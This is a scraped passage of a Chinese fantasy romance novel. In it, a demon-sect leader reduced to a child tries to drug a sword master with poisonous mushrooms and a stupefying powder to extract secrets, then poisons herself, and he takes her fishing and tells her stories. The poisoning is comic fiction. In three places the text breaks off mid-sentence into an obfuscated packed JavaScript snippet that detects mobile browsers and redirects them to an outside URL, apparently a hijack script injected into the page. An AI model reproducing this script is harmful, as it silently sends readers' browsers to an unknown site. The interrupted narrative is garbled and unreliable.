和他相识这么多年,她似乎从未见他发火动怒是什么模样,每回都是一副波澜不惊、风淡云轻的样子,反倒是她总被他气得不行。 发火呀,很气吧? 她上回被他用剑割坏漂亮裙子的时候也这么气。 眼见他放下手中的书卷,手指微抬,一道净尘术无声无息地落下,沾满油污的袖口瞬间恢复如新。 “净手应当用绢帕或是清水濯洗,用旁人的袖口拭手乃是无礼之举……” 他顿了顿,似在反思方才的话对于幼崽能不能足够理解,于是语气更舒缓了些。 “下次不要这样了。” 语气平和,情绪稳定地像块能镇妖的泰山石,更显得她像无理取闹的小孩子。 谢无恙拿过绢帕,握过她的手腕,他可以选择直接用净尘术帮她洗干净手,但还是亲自低头仔细帮她擦手,毕竟在他不在的时候,小姑娘总得自己学会用手帕擦手。 他把她指缝间没蹭干净的地方都仔细擦拭了两遍,最后再用一道净尘术把绢帕荡净。 “好了,去玩罢。”谢无恙重新执起书卷,颔首看书。 “你……” 糜月惊呆地睁圆眼睛。 他不是最怕沾染脏污的吗?这都能忍? 她不觉得谢无恙这样的人能对一个来历不明、且是烬花宫出身的孩子,能容忍到这样的程度。 莫非是做给她看的,想让她放松警惕? “怎么了?”谢无恙见她还没走,疑惑地看过来。 “没事,我吃饱了撑的……” 糜月暗暗磨牙,感觉就像一拳打在了棉花上,心里更郁闷了,慢吞吞地转身走出暖阁。 你行,你厉害。 看你能装到什么时候。 …… 10. 第 10 章 接下来的几天,糜月都在琢磨怎么从谢无恙的嘴里撬话。 经过这些日子的观察,她发现谢无恙的生活过得简直比和尚还规律且乏味。 每天除了修炼,就是练剑和看书,偶尔会去顶楼里呆一会儿,大概是喂他那些讨厌的灵蛇。 而自从她住进悬海阁,他每天的要做的事又多了一样,就是陪她用膳。 听送膳的侍从说起过,谢无恙以辟谷为主,不太常吃膳食。 好像在他看来,养孩子最重要的环节,就是得好好吃饭,每回吃完饭还要看着她洗干净手才算完。 糜月望着镜子里的小人,甚至觉得自己长胖了一圈,脸都吃圆了。 找功法的事,还没有丝毫进展…… 糜月都不知道自己到底是来找功法,还是过来蹭吃蹭喝蹭住的。 不过这几日,她也没有闲着,她把隐剑宗大体的布局摸了个遍。 隐剑宗分外内院和外院,内院坐落在山顶。宗里比较重要的场所,如掌门和长老们的住所、议事殿、藏经阁还有弟子们论道练剑的剑池,都在内院。 外院则在外围和山腰处,是弟子们居住的地方。 糜月有种特别的感觉,那藏有功法的秘宫不可能在外院,一定就在内院里。 于是这些日子,除了有人值守的掌门和长老住所,糜月没法随意进入外,内院的其他区域还有些偏僻的小道,岔路,狗洞……等等,都被她摸了个门清。 这日,糜月又发现了一处新狗洞,似乎能钻进某个长老的洞府。 她正撅着屁股试验自己能不能通过时,忽然听到两个侍从一边从她身后经过,一边在低声交谈。 “哎哎,这两日可别贪嘴,膳房里的炒菌子有问题。” “炒菌子?” “是啊,听说是厨子为了多捞点油水,自己去山上挖的,陈兄吃了后,到现在还在说胡话呢,连把在床板底下哪块砖头藏了私房钱都同我说了。” “嘿嘿嘿私房钱,不如我们……” “去去去,君子爱财取之有道,这种事情我可不干啊。” 等他们离去,糜月从狗洞后直起身子来,伸手摘掉脑门上的一缕狗尾巴草,脸上的表情若有所思。 烬花宫草木繁盛,山上就长着很多野菌子,甚至在扶桑城还流传着一句俗语:红伞伞白杆杆,晚上一起躺板板。 没想到这玉京仙山里,也有这么厉害的红伞伞? 糜月捏着下巴,一个堪称完美的计划在顷刻之间酝酿成型。 嘿嘿…… 红伞伞助她也! …… 正午,暖阁纱帘随风轻晃,飘着令人食指大动的饭菜香气。 而摆在方桌正中间的,正是一盘清炒菌子。 糜月装模作样地夹了一筷子,悄悄放进碗里没有吃,瞥了眼正在专注看书的谢无恙,随即扒拉了口米饭,夸张地赞叹惊呼道:“这蘑菇好好吃呀。” 成功引来男人的侧目,嗓音清淡地随口说:“好吃就多用一些。” 旋即又把视线放回手中的书卷上。 “……” 糜月干脆不演了,直接把那盘清炒野山菌往他面前推了推。 极力推荐:“这个是我去山里摘的,很新鲜的,你不尝尝吗?” 她今日起了个大早,一路溜达到后山,摘了一个多时辰,才摘到了半筐野菌子,然后全都送去了膳堂,说午膳点名要吃清炒菌子。 她近日没少在宗里溜达,不少弟子和侍从都已经认识她了——是被东极剑尊养在悬海阁里的那个小姑娘,嘴巴挑剔得很,每天要变着花样的吃,掌门还特意为了她,从城中招了一个会做点心的大厨。 膳堂自然不敢慢待,于是按照吩咐,抓紧把她送来的菌子做好,赶在午膳前送了过来。 “你自己去摘的?” 谢无恙闻言终于抬起眸来,露出些许稀奇之色。 隐剑宗的外院设有禁制,还有侍从值守,小丫头跑不出去,最多在内院里疯玩,所以谢无恙也不大限制她玩耍的时辰,只要按时吃饭,在天黑前回来就好。 没想到这小丫头倒是会自己找乐子,竟跑去山里摘蘑菇去了。 糜月连连点头,竭尽所能地安利:“前几天刚下过雨,山里长了好多野菌子。我在烬花宫时就经常吃炒菌子,这种菌子可好吃了~” 她采摘的都是比红伞伞还狠的菌子,不过膳堂压根分辨不出来这些山菌哪些有毒,哪些没毒,不然也不会有侍从吃了中毒的事情发生。 且这里面不但有能吃了致幻的野菌子,她生怕谢无恙体质强健,这些菌子毒不昏他,于是还额外加了一点“料”。 烬花宫下属的十二副宫主里,薛紫烟是个炼毒的好手,平时就喜欢钻研一些奇奇怪怪的毒丹药粉,只要研制出什么好东西,都会第一时间给送她一份。 好在她的储物袋里,还装着点薛紫烟配的迷魂散。这迷魂散无色无味,用银针都测不出毒性,乃是居家旅行阴人暗杀之必备,只要一点点粉末,哪怕是渡劫期的修士也照样能放倒。 糜月都盘算好了,这菌子是膳堂炒的,本来就有人吃了会中毒的先例,等谢无恙醒来后,也只会觉得是那盘菌子有问题,没有人会怀疑是她做了手脚。 而她只不过是小孩子贪玩,摘了些菌子回来,又不知道这些菌子会致人中毒,又有什么错呢? 还没桌腿高的小姑娘仰着头,清亮乌黑的眼睛里闪着点点企盼的光,似是分外期待他能点评这道她亲手摘回的菌子。 自打他将糜月带回宗后,她不似同龄小孩那般粘人爱哭,最喜欢跑出去玩,常常不见踪影,这倒是她第一次这么主动献殷勤。 如此的盛情难却…… 糜月看到谢无恙拿起一旁的竹筷,夹了一口送入口中,细品慢咽。 “嗯,味道不错。” 眼见着他吃进去,糜月心里的石头才落了地。 接下来,她只要耐心等着药效发作。 谢无恙此人心思细腻缜密,她很清楚自己若再追问蛟龙的事,定会引他生疑。 唯有趁他神识不清之时,细细拷问,还不是一问一个准儿? 糜月在心里默数药效发作的时辰,时辰一息一刻地过去,桌上的饭菜都渐渐凉了,对面仍传来时不时翻动书页的轻响。 她疑惑地打量与平时无异的谢无恙。 不是吧,怎么一点反应都没有啊? 难道是放得分量不够? 她纳闷地拨弄碗里的野菌子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172426|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没敢吃,筷子头沾了点酱汁,她下意识地放在嘴里砸吧了一下。 别说,这菌子炒得还真挺鲜的。 膳堂的厨子还是有两把刷子的,火候正好,味道比起她以往在烬花宫吃的炒菌子也…… ……嗯? 糜月忽然觉得眼前有些天旋地转,整个人有些飘飘欲仙起来,手里的碗似乎在变换着形状和色彩。 她小手捧着饭碗,盯了半晌,忽然蹦出来一句:“七彩毛毛虫。” “?” 执卷的某人斜眸望过来。 糜月微微抬起头,视线定定地落在他那只握着书卷、骨相好看的手上。 “红烧大蹄髈。” “?” 谢无恙轻轻蹙眉:“你,怎么了?” 孩子想吃蹄髈了? 她伸手狠狠揉了揉眼睛,再度望向他时,一双清亮剔透的乌瞳已经不聚焦了,痴痴地望着他的脸,傻笑两声。 “嘿嘿,漂亮侍宫……” “?” 说罢,小团子一头往桌面上栽去。 谢无恙眼疾手快地伸出手,垫在了她的额头和桌面之间,掌心托着她的额头,避免了她脑门磕出大包来。 小团子额头抵着他的掌心,浑身彻底瘫软了下来,似是陷入了半昏迷。 谢无恙微沉的眸光逐一扫过满桌子的菜,最后落在那盘清炒菌子上。 他拢袖起身抱起小团子,走出暖阁,来到她平时所居住的寝殿,把她平放在床榻上。 糜月的意识正处于昏迷和幻觉之间,卷翘的睫毛颤动着,嘴巴里还嘀嘀咕咕地念叨着什么。 谢无恙将指腹轻搭在她细小的手腕上,灵气探入,诊察她的脉象。 有轻微中毒之相,并无大碍,应当就是那盘野菌子的缘故。 谢无恙从储物囊中拿出一只小玉瓶,从里面倒出一粒丹丸,轻捏她颊边软肉,迫使她张开嘴巴,将那粒药丸推了进去,继而捻住她的下巴轻抬,“咕嘟”一声,小团子顺利地将丹丸咽下。 丹丸见效还得有一会儿,他便在榻边坐下。 “难吃……” 小团子砸吧了一下嘴巴,紧皱眉头,口吃不清地嘟囔,“肿有坏仁……要谋害……本宫珠……” 谢无恙听不清晰她在念叨什么,于是坐近了些。 “呜……太难了,我怎么那么倒霉,这么惨……” 小姑娘似是梦到了什么伤心的事,眼圈突然红了,语气也有些哽咽。 谢无恙不自觉地握紧指节,望着躺在床上、委屈哭泣的幼崽,心下触动。 被爹娘抛弃,在烬花宫也不受重视,这孩子的确可怜得很。 “我想回家,呜呜……” ……想回家?是因为在这里住得不开心吗。 “凉七……呜……不要走……” 谢无恙身子一僵,这次他听得更清楚了。 ……她在唤娘亲。 小团子的双手紧紧揪着被角,脸蛋和鼻尖都有些中毒后的潮红,稚嫩的童音里带上了点点紧张的哭腔,低低地喊着娘亲。 谢无恙看着床榻上似是陷入幻觉中的小团子,眸光深沉,似是低声质询,又似在自言自语。 “你爹爹到底是谁?” 11. 第 11 章 “爹爹……”似是听进了他的问话,小团子的表情从悲伤渐渐变成了茫然,“不、不知道……” 谢无恙低头看她的目光带上了些许怜悯,看来这孩子是当真不知道生父的名字。 “凉七放心,窝一定,会……找到,找到功……功……” 小团子捏紧拳头,仿佛在轻声起誓着什么,然而话还未说完,头一歪,沉沉地睡去了。 谢无恙摇摇头,帮她塞好被角,旋即起身出了寝殿。 …… 糜月悠悠转醒时,隐约听到旁边似乎有人在讲话。 “原来,月月还真的是师叔的……可是我怎么感觉她长得也不像师叔啊?” “女大十八变,等长开了就像了。” “这小不点也是倒霉,吃盘炒菌子也能中毒,苦命的娃……” 什么像不像的?他们在说些什么? 糜月迷迷糊糊地睁开眼,抢先映入眼帘的,是程令飞那张放大的脸。 “小不点,你终于醒啦?你知道你睡了多久吗?” 他比出两根手指,“两天一夜!” 夏沥把程令飞无情推开,过去把她扶起来,“月月,要喝点水么?” 糜月扶着仍有些眩晕的脑袋,感受到嗓子里的干涩,点点头。 同时脑子在困难地转动,发生了什么?为什么中招的会是她自己? 她不过是嗦了下筷子头啊。 薛紫烟调制的这迷魂散竟然这么厉害? 不对不对……她现在是小孩身体,放在以前,这迷魂散要想迷晕自己,得要能迷晕一头牛的计量才行,可现在,她功力全失,只用一粒米就能把她轻易放倒。 大意了。 糜月心下懊悔不迭,这么好的机会,竟然被她搞砸了。 “小不点,看我给你带了什么?” 程令飞将背在身后另一只手拿出来,将一只丑丑旧旧的布娃娃递到她面前,“这是我小时候最喜欢的娃娃,送你了。喜欢不喜欢?” 程令飞说着都觉得她可怜,娘亲不要她,被师叔领回宗里,但宗门里都是大她好多的哥哥姐姐,没有同龄的小孩子陪她玩,只能自己跑去山上摘蘑菇玩,结果还把自己吃中毒了。 “……” 糜月和丑娃娃默默对视片刻后,佯装惊喜,双手接过,挤出笑容来,“喜欢,太喜欢啦。” “我就知道你肯定喜欢,师姐还说给你买流星锤玩,我说哪有小女孩玩那个的?” 夏沥双颊微红,尴尬地清咳一声。 糜月:“……” 她还不如要流星锤,起码关键时候还能防身呢。 糜月刚清醒过来,只能用些清淡点的饮食。 夏沥和程令飞看着她喝完了一碗莲子碧粳粥,夏沥低声问糜月:“月月,需不需要我帮你沐浴,擦洗一下身子?” 她在床上晕了两天一夜,身上出的汗湿了又干,总要擦洗一下才舒服。 隐剑宗里大都是男性侍从,照顾起她,到底是多有不便。 “不用,我自己会洗,平时都是我自己洗的。” 糜月连连摆手。 “那我帮你梳梳头发?” 夏沥看着小姑娘已然歪掉的小发包,虽然她也不太擅长这些,但她可以帮她梳和自己同款的高马尾。 “这个我也会,娘亲教过我。” 糜月小手十指飞动,三下五除二把自己散落的头发窝成了小花苞,朝她甜甜一笑,露出颊边浅浅的梨涡。 “好了,不必麻烦姐姐。” 夏沥看着乖巧懂事的小团子,藏在袖中的手指紧握。 太可爱了,好想亲一口! 夏沥压下这个古怪的念头,不自然地清咳两声。 程令飞毫不留情地揭穿她:“师姐,你方才是不是偷笑来着?怪渗人的。” 换来夏沥毫不留情地一脚。 糜月心不在焉地小口喝粥,环顾殿内,只有夏沥和单方面挨揍的程令飞俩人,不见谢无恙的身影。 顿时想起来,她中毒昏迷前,正在和谢无恙在暖阁用膳,所以是他把自己送回来的? 她中毒后,没有乱说什么吧? “你们师叔呢?”糜月有点忐忑地问。 程令飞挠挠脸颊:“师叔他好像出门了。” …… “师叔,您怎么来了?” 负责值守藏经阁的小弟子正在低头整理案集,乍见到谢无恙来,一脸的惊讶,险些连手里的笔都没拿稳。 悬海阁的藏书不比藏经阁里的少,被誉为是小藏经阁,倒是鲜少见谢无恙来这里。 “来找本书。”谢无恙淡声道。 “书名叫什么?我去替师叔取来。”小弟子殷勤道。 “不必了。” 谢无恙犹自走进藏经阁内,视线扫过一排排的书架,一目十行地梭巡。 藏经阁里的藏书众多,普通弟子怕是逛上三天三夜都逛不完,但谢无恙对这里很熟悉,很快就在角落处找到了堆积着目标书籍的书架。 他抽出了其中一本落满了灰尘的书,一个净尘术下去,拂去了上面沾染的尘埃。 谢无恙拿着书,去柜台处登记。 小弟子低头双手接过谢无恙递来的书,心中格外好奇,能让师叔专门跑一趟藏经阁借阅的书,那得是多有名的文豪巨擘写得传世秘籍啊。 直到封皮亮闪闪的几个大字映入眼帘。 《单亲男修育儿指南》,无名氏箸。 “……” 小弟子不敢露出异样的神色,下笔飞快,继而目不斜视地将书递还给他,恭谨道:“师叔,登记好了,您慢走。” 谢无恙刚走,弟子们抑制不住地交头接耳,低声八卦,平日安静的藏书阁瞬间嘈杂如菜市场。 “我的天,原来,那传言竟是真的?” “本来就是真的,我说了你还不信,我上回上剑道课就见过那小姑娘,长得跟师叔那叫一个神似。” “我就说烬花宫的女修很渣吧,渣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172427|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师叔不说,连孩子都不养,师叔实在太可怜了。” “难怪觉得师叔方才的背影伟岸高大中,又透着些凄凉孤寂……” “难道位及剑尊,也逃脱不了被女人玩弄的命运吗,那我练这剑还有何用!” “话不能这么说,人欲乃是天道,咱们修得是剑道,又不是无情道。” “师叔他平日看着清冷雅正,没想到会喜欢烬花宫主那种类型?” “自古妖女配剑修嘛,这都是前辈们的前车之鉴,诚不欺我……” 弟子间流传的八卦如奔腾的野马,越传越盛,越传越偏。 …… 糜月觉得给谢无恙下毒结果把自己毒晕的这件事,是个小小的意外。 但绝对是她做妖女史上最丢脸的一件。 她这辈子都不想再吃蘑菇了。 而她计划借菌子给谢无恙下毒这件事也彻底破碎,因为在得知她中毒后,膳堂已然把清炒菌子这道菜彻底踢出了菜单,再也不供应了。 如果不是出了那一丢丢的意外,糜月觉得这计划真是天衣无缝。 但人有失足,马有失蹄,遗憾错失良机…… 还有什么办法能从谢无恙的嘴里撬出蛟龙的事呢? 糜月发愁得紧,手里拿着一块核桃酥饼,心不在焉地啃着。 这核桃酥饼据说是膳房里新招来的厨子做的,做得味道勉勉强强,远没有她娘亲做得好吃,她娘亲做的核桃酥饼永远是最好吃的,后来她又请过很多大厨,都没有复刻出来。 于是小小的人儿支着下巴,在桌边啃饼皱眉沉思的模样,更显得闷闷不乐。 “你以前在烬花宫,平日都喜欢做什么?” 谢无恙似是觉得暖阁里的氛围有些安静,开口同她闲聊。 糜月思绪被他带跑,想了想,她在烬花宫时平日除了修炼,还喜欢去城里买买买,或者就是带着一票弟子们,跑去各大宗门干架搞事情抢宝贝,当然她们搞隐剑宗的次数是最多的。 但她肯定不能这么答。 小孩子平日的都会做什么?她小时候喜欢玩什么来着? 糜月一边认真回忆,一边说:“唔……夏天喜欢溪边玩水捉鱼,冬天就堆雪人打雪仗什么的。” 琼山几乎四季如春,下雪对于琼山来说,是件稀罕事,平均两三年才能遇上一回,小时候每每遇见下雪,她都开心坏了,娘亲和副宫主们会轮番带她着玩雪。 至于溪水,就是谢无恙捡到她的那条小溪,是从琼山上流下来的,水很清,溪鱼的味道很鲜美。 “嗯,我知道了。”谢无恙合上手中的书卷,若有所思。 ? 你知道什么了你知道。 糜月心下狐疑,直到两刻钟后—— 她站在一望无际的海岸边,波涛汹涌的海浪拍打着她脚下的礁石,溅起点点白沫,海风刮得她娇嫩的脸蛋子隐隐生疼。 小小的脸上写着大大的懵逼。 谢无恙带她来这儿,是要干嘛?? 12.第 12 章 小姑娘在昏睡中无意喊出的“娘亲”和那句“我想回家”,让谢无恙心里五味杂陈。 这孩子在烬花宫如此不受待见,结果来了他们隐剑宗,竟然有了想家的念头,说明这里还不如烬花宫让她开心自在,那他就实在太失职了…… 于是他仔细研读了那本《单身男修育儿指南》。 那书翻开目录后的卷一写到:洞悉稚子之心绪与投其所好,伴之嬉戏,使其感怀关爱与呵护之情。 简单概括:就是发展她的兴趣,投其所好。 如今正值秋季,还没有下雪,这雪是玩不成了,但悬海阁旁边就是大海,想捉鱼还不容易? 谢无恙从储物袋里拿出两根鱼竿,将其中一根更迷你些的鱼竿,放进糜月的手里。 “你不是喜欢捉鱼?” “……” 糜月握着鱼竿,神色有些难尽。 合着真带她来钓鱼啊? 早知道她就说她最喜欢睡觉了。 糜月和谢无恙并排坐在海边礁石上,微咸地海风轻拂耳畔,日头晒得刺眼,一大一小两个羽毛做的浮漂在蔚蓝的海里飘飘晃晃。 半晌过去,无事发生。 难道是今天浪太大了? 糜月心下嘀咕,把今日钓不上鱼的锅先甩给天气。 俗话说,风浪越大鱼越贵,这句话的背后是说风浪越大,鱼越少。 糜月安慰自己钓鱼需要耐心,于是二人又在海边傻傻地静坐了一个时辰。 直到她屁股都坐得有些麻了,握着鱼竿的小手也有些僵硬,就在她把鱼竿往回收时,才发现鱼钩上面光溜溜的,居然没有挂饵。 “我们就这么硬钓吗?是不是得需要一些鱼饵?”糜月挠挠发包,懵懂发问。 其实她也不懂钓鱼,她以前都是光着脚下河里捉的。 谢无恙虽说常年住在悬海阁,但也是第一次钓鱼,经验不足。 他沉思了一会儿,似是也觉得用姜太公钓鱼的方式不太适合他们,于是从随身的储物袋中拿出一只玉瓶,随手倒出两颗丹丸,绑在他俩的鱼钩上。 一股浓郁的灵气香扑面而来。 极品补灵丹? 糜月惊呆地张大嘴巴,她第一次有人用极品丹药钓鱼,咱就说,这是太奢侈了点啊?比她这个败家宫主也不遑多让了。 灵气是万物本源,生灵喜爱之物,谢无恙这颗极品丹药投放下去,瞬间就起了效。 糜月隐约看到海面之下,有很多鱼影在围着他们的浮漂打转,快活地摆着尾巴,游来游去。 但这些鱼儿光吸取着海水中四溢的灵气,并不咬钩,有的甚至跃出海面,漂亮的鱼鳞在日光下闪闪发亮。 “……” 糜月看了看自己平静的浮漂,莫名感觉这些鱼在羞辱她。 “不钓了,没意思,我回去了。” 小团子彻底没了耐心,沮丧地丢了鱼竿。 空军就是钓鱼佬的宿命啊。 “……等等。” 谢无恙本来就是带她出来放松心情,怎能让她空手回去。 糜月见他站起身来,手掌心白光一闪,无为剑出现在他手中。 他屈指弹动剑身,发出悦耳的剑鸣,剑鸣引发震动,接着几道凌厉的剑光从他手中打出。 剑气锋锐迫人,所及之处卷起更猛烈的海浪,在海平面上汇聚成了一道巨大的漩涡,随着漩涡越卷越高,宛如一道升起的龙卷风,呼啸着直冲天际。 “啪啪啪——” 天空下起了冷冷的冰鱼,成百上千条鱼裹挟着点点海水从天而降,噼里啪啦地掉落在二人脚下的礁石上,每一条鱼都是鲜活的,奋力扑腾到她的脚边。 场面之壮观,直接把糜月给看傻了。 “………” 糜月无语凝噎。 恨不得扑上去狠狠晃一晃谢无恙的脑袋,听听里面是不是装着海水。 有这一招你不早用?早干嘛去了啊?这会儿耍什么帅啊?白浪费两颗极品丹药不说,还害她在这吹了半天的冷风! “选两条顺眼的。”谢无恙听不见她的心声,淡定地无为剑收了起来。 糜月一边心里暗骂,一边依言蹲下来,毕竟罪受都受了,鱼她必须得拿回去。 挑挑拣拣后,她左右手各提起了一条肥美的大鱼。谢无恙一挥袖,清风卷起,其他的鱼被重新放生回了大海。 晚膳时,那两条鱼就被送上了餐桌。 一条清蒸,一条红烧。 毕竟是她亲手钓……啊不,捡回来的鱼,糜月勉为其难地夹了一筷子,鱼肉很嫩,入口即化,海鱼的滋味比溪鱼更鲜美,肉质也更紧实。 自从她上回被鱼刺卡住之后,每回吃鱼,谢无恙都会把鱼刺挑出来,把剩下没有鱼刺的鱼肉单独夹在一个小碗里给她。 吃着碗里鲜美的鱼肉,糜月才觉得今日受的郁闷缓解了一些。 她瞥了眼对面正单独挑鱼刺的某人,洁净分明的手指稳稳地执着一双竹筷,慢条斯理地挑着盘中细如银针的鱼刺。 虽然心里顶顶讨厌他,但糜月也不得不承认,他的这双手生得很好看。 这么好看的手,就适合做这样的活。 “我还要吃虾。” 糜月用筷子指了指放在他手边的一道茄汁虾。 谢无恙用绢帕擦过手指,便动手剥虾,随口问:“吃几个?” “三个。” 糜月在烬花宫时用膳也是如此,从来不动手,都是由沈灵淇服侍,她享受得理所当然。 她见谢无恙没有吃鱼,动手剥虾也是因为她想吃,不由得心想,这人好似没有什么偏爱喜好的食物,每日的饮食都这般清清淡淡,难道不会厌烦吗? 眼见他把剥好的一颗晶莹剔透的虾仁放入自己的碗中,糜月顺口问:“你为什么不吃虾,你难道就没有什么爱吃的东西?” “并无。” 谢无恙微微低着头,手指并不熟练地揭去虾壳,连从耳后垂落的头发丝都带着清冷的弧度。 “那你平日也没有喜欢做的事?” 就他今日带她在海边那令人气血上涌的操作,就知道他平时也没怎么钓过鱼。 谢无恙想了想,说:“修炼,算吗?” “……” 如果换一个人这么说,糜月肯定会觉得他挺装的。 不过这人是谢无恙,她知道他说的是实话。 他幼时在无涯学宫里便是如此,不爱说话,也不爱和旁人一起玩,总是一个人默默地呆在一处。如今也是半点也没变化,古板乏味又无趣,简直比真正的仙人还要清心寡欲。 她难以相像,这样的人会有喜欢的女子吗,那不比铁树开花,还要困难千倍。 糜月的眼里闪过一抹嘲笑,她敢打包票,这厮一把年纪了还是个童子鸡。 “你平日除了玩水摸鱼,还有什么喜欢做的?” 谢无恙哪里想到小姑娘的脑子里会是如何污七八糟的想法,剥完最后一颗虾仁,总觉得她今日好似也没有很开心的样子。 糜月咬了口的虾仁,寻思这人今日怎么了,难道是想补偿她菌子中毒的事吗? 杏眼了然地眨了眨,当即灵机一动:“我最喜欢听故事。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173251|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “听故事?” “嗯嗯,比如讲青龙、白龙,还有蛟龙的……”糜月瞬间振奋起来,小手熟练地发动萌娃撒娇技能,扯住他的衣角,“你能给我讲讲关于龙的故事吗?” 谢无恙低眸看着被那只小手抓着的衣角,沉吟片刻,用手帕擦净了手,转过身来清了下嗓子:“好。” 糜月腰背挺直地端坐,竖起耳朵。 谢无恙想了想,开口道:“……相传,梁国有一个很有名的画师擅长画龙,其画技出神入化,富商大贾都争相索求他的画。” “梁国皇帝也听闻了他的名声,于是邀他去皇家佛寺作画。他在佛寺的墙面上画出四条威风凛凛的金龙,但围观的人大为惊叹,但凑近一看时,才发现这些金龙都没有眼睛……” 糜月刚开始聚精会神的听着,后来越听越不对劲。 “这个故事是不是叫画龙点睛?”她狐疑地打断他。 谢无恙诧异地挑眉:“你听过?” “……娘亲以前讲过。” 眼见小姑娘不满地鼓起小包子脸,谢无恙立马道:“那我换一个……” “传说,有位姓叶的公子,十分爱慕能呼风唤雨的龙,于是在自家门前的石柱上,花园中,墙壁上都刻满了龙。某日,他正在午睡,忽闻窗外雷声大作……” 糜月咬牙:“叶公好龙?” 合着他在这教她成语呢,她需要他教吗? 糜月深吸一口气,按着有些头疼的脑袋,忍了又忍说:“你就不能讲讲我没听过的?” “好,那再讲一个……” “我不要听成语故事!” “这回……绝对不是成语故事。” 谢无恙有点尴尬,没想到小姑娘不爱读书写字,听过成语故事倒是不少。 他整理了下思绪,重新开口:“很久以前,有个孩子因其天赋异禀,七岁时就被当时隐居昆仑的仙人看中,收为亲传弟子……” 糜月闻言眼睛一亮。 来了来了,总算讲到点子了。 她记得谢无恙就是七岁时拜入隐剑宗的,年纪都对得上,不过怎么扯到昆仑去了,难道是化用的地名吗? “某日天气暑热,那孩子便在海边嬉水洗澡,他无意将随身法宝浸入海中,未料那法宝震得海底翻江倒海,竟引出了一条千年的蛟龙来。” 糜月听得呼吸微屏,那时候谢无恙就有无为剑了吗?用剑气搅得海水翻涌,就像今日一样吗? “那孩子与那蛟龙缠斗许久,筋疲力尽之时,终以法宝制胜,将蛟龙就地斩杀。” 谢无恙抬眸看了她一眼,语气平和淡然,仿佛在讲述一件事不关己的事。 糜月听得张大了下巴,七岁就能杀蛟龙? 能化成蛟龙的妖兽少说有千年的修为,随随便便一条,都至少有大乘乃至渡劫期的境界。若说他如今能屠龙,她信,七岁就杀了一条蛟龙,这厮真没在吹牛逼吗? 更关键的是,若那蛟龙若被谢无恙杀了,还怎么表演蛟龙吞月,她还上哪找功法去? “后来呢?那蛟龙真死了吗?”糜月着急地问。 谢无恙点头:“那蛟龙不但死了,那孩子还抽去了一条龙筋,打算回去给父亲制作新甲胄。” “……” “…………” 糜月抖着嗓子问:“……你说的那孩子是不是叫哪吒?” 谢无恙也沉默了,顿了顿,疑惑道:“这个故事,你娘亲也同你讲过了?” 糜月崩溃地捂住自己被气红的脸蛋,当场七窍生烟。 什么哪吒闹海,她才真的要闹了!! 13.第 13 章 糜月受谢无恙的荼毒太深,以至晚上做梦都梦到了哪吒闹海的场景。 那哪吒的模样变成了幼年时的谢无恙,正在海里兴风作浪,而她手托一座黄金玲珑宝塔,踏着七彩祥云而来,华丽登场。 “呔,狂妄剑修,拿命来!” 糜月梦见她把谢无恙按在地上反复摩擦暴打,脸上不自觉的洋溢起会心的笑容,忽然感觉脸颊处传来一阵湿漉漉的触感,一下一下,硬生生地把她给舔醒了。 糜月迷惑地睁开眼,一只毛茸茸的肥兔子正蹲在她的胸口处,绒毛通体雪白,没有一根杂色,睁着一双清澈又愚蠢的圆眼,撅着屁股,不住地舔她下巴。 哪里来的…… 麻辣兔头? 糜月薅起兔子耳朵,把它从自己身上提溜下来,一脸迷茫地擦掉脸上的兔子口水。 谢无恙正坐在大殿里看书,风炉上正煮着一壶热茶,是顶好的白毫灵茶,熏得整个殿内都如幽兰雪松般馥郁的茶香。 他听见侧殿推开门的动静,小姑娘抱着小白兔,蹦蹦跳跳地跑出来,似是心情十分愉悦。 糜月满心欢喜,准备跑去膳堂找大厨。 加餐,加餐! 午膳就吃麻辣兔头和冷吃兔! “那只兔子……”身后传来的温和嗓音让她脚步一顿。 糜月低头看了看怀里的肥兔子,扭头看了看叫住她的谢无恙:“你认识它?”她想到什么,“这兔子不会是你养的吧?” 这人什么癖好,又养兔子又养蛇的? 谢无恙摇摇头:“给你的。” “给我养的?” “不然……” “哦……”糜月还以为是从哪里跑来的野兔,但仔细看看,这兔子皮毛这么雪白油亮,也不像是山里的野兔子,是她被食欲冲昏了头脑。 她看了看怀里的肥兔子,叹了口气,语气有点遗憾:“可惜了……” 麻辣兔头是吃不上了。 “什么?”谢无恙抬眸。 “咳,没,没什么……” 糜月有点尴尬地坐下来,喝了杯温热的茶,把小胖兔顺手放在了桌上。 《单身男修育儿指南》卷二:宠物,乃稚子良之精神所托也,为彼致乐与伴焉。 孩子喜欢宠物是天性,在无人陪伴他们的时候,宠物能给他们带来很多乐趣。 谢无恙觉得很有道理,于是就便从玄机子长老那里抱了一只药兔回来。 